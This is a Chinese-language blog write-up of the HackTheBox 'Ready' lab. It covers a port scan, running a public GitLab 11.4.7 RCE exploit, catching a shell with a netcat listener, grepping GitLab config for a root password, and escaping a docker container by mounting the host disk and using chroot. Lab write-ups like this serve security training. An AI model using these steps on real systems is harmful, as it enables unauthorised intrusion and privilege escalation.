HTB Ready 10.10.10.220

sudo vim /etc/hosts >> 10.10.10.220 ready.htb

sudo nmap -T4 -A ready.htb

 

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 10:56 CST
Warning: 10.10.10.220 giving up on port because retransmission cap hit (6).
Nmap scan report for Ready.htb (10.10.10.220)
Host is up (0.24s latency).
Not shown: 976 closed ports
PORT      STATE    SERVICE          VERSION
22/tcp    open     ssh              OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    filtered http
417/tcp   filtered onmux
1071/tcp  filtered bsquare-voip
1088/tcp  filtered cplscrambler-al
1090/tcp  filtered ff-fms
1443/tcp  filtered ies-lm
2002/tcp  filtered globe
2004/tcp  filtered mailbox
2020/tcp  filtered xinupageserver
2288/tcp  filtered netml
2399/tcp  filtered fmpro-fdal
2638/tcp  filtered sybase
2800/tcp  filtered acc-raid
3005/tcp  filtered deslogin
5030/tcp  filtered surfpass
5080/tcp  open     http             nginx
5280/tcp  filtered xmpp-bosh
6580/tcp  filtered parsec-master
7512/tcp  filtered unknown
9100/tcp  filtered jetdirect
9111/tcp  filtered DragonIDSConsole
20031/tcp filtered unknown
34571/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 230.75 seconds

选择很少只有5080端口,浏览器访问5080端口。

是一个自建的gitlab,注册一个账号,随便点一点看看有什么可用的信息,想到前段时间github企业版爆出的漏洞,推测这个靶机的漏洞就是gitlab的漏洞了,查看一下gitlab的版本。

版本是Edition 11.4.7,搜索引擎搜索gitlab 11.4.7 exp,果然有漏洞,github上面找一个最新的exp,运行一下,按照脚本给出的提示,再开一个控制台nc -lvnp 42069

nc连接成功之后,将shell改成terminal,不然有些命令无法执行。

python3 -c "import pty;pty.spawn('/bin/bash')"

export TERM=xterm

到/home目录下查看目录,dude

进入到dude目录下看到user.txt(user,flag)

读取成功之后需要提前才能拿到root.flag,但是linPEAS上传不上去,应该是git用户的权限太低导致的,那么这个靶机的提权思路应该是利用靶机本身的一些特性区提权,使用sudo -l也提示没有改文件,权限太小了,找一下看有没有利用的文件,脚本之类的,到根目录下看到了root_pass文件,应该是没有这么简单的,但是还是试了一下,cat读取显示了一串字符串,然后su root 输入字符串,显示验证错误,果然没这么简单呢。

在失去方向之后又重新温习了一遍linux基础知识后,opt是安装程序的目录,既然安装gitlab想来应该是有数据库一类的东西,看看能不能先把受限用户提权成为普通用户,到opt目录下看了一下,有两个文件夹 backup gitlab,既然有backup那就先看backup吧。

cd backup
ls
docker-compose.yml  gitlab-secrets.json  gitlab.rb
cat gitlab.rb
cat gitlab.rb | grep password

显示除了gitlab数据库之外还有docer-compose,估计是靶机的虚拟文件,查看了gitlab数据库文件之后,通过grep过滤,成功找到密码,但是没有用户名,直接用root吧,试试运气。

成功提权到root用户之后,到root目录下面居然没有root.flag,那么刚刚看到的docker文件就不是靶机的虚拟机文件,而是在靶机之中还有一个docker虚拟机,那不用说看来是需要进行docker逃逸了,网上找了几篇docker逃逸的帖子学习了之后,先确定是不是docker虚拟机,查看/proc/1/cgroup文件,看是否有docker字段。

确定了是docker虚拟机之后,使用最简单的越权读取文件方法去读取宿主机的root.flag本来应该还是需要判读是否为特权模式的,但是我没看懂怎么判断,无脑梭哈。

mkdir /test
cd /dev
ls
mount /dev/sd2 /test
chroot /test

挂载sd1的时候莫名的失败了,挂载sd2

成功之后在test目录下就是宿主机的根目录了,读取root目录中的root.flag。

 

PS:

gitlab CVE:https://github.com/dotPY-hax/gitlab_RCE

docker 逃逸:https://xz.aliyun.com/t/8558

posted @ 2021-02-25 16:41  日月的阿金  阅读(475)  评论(0编辑  收藏  举报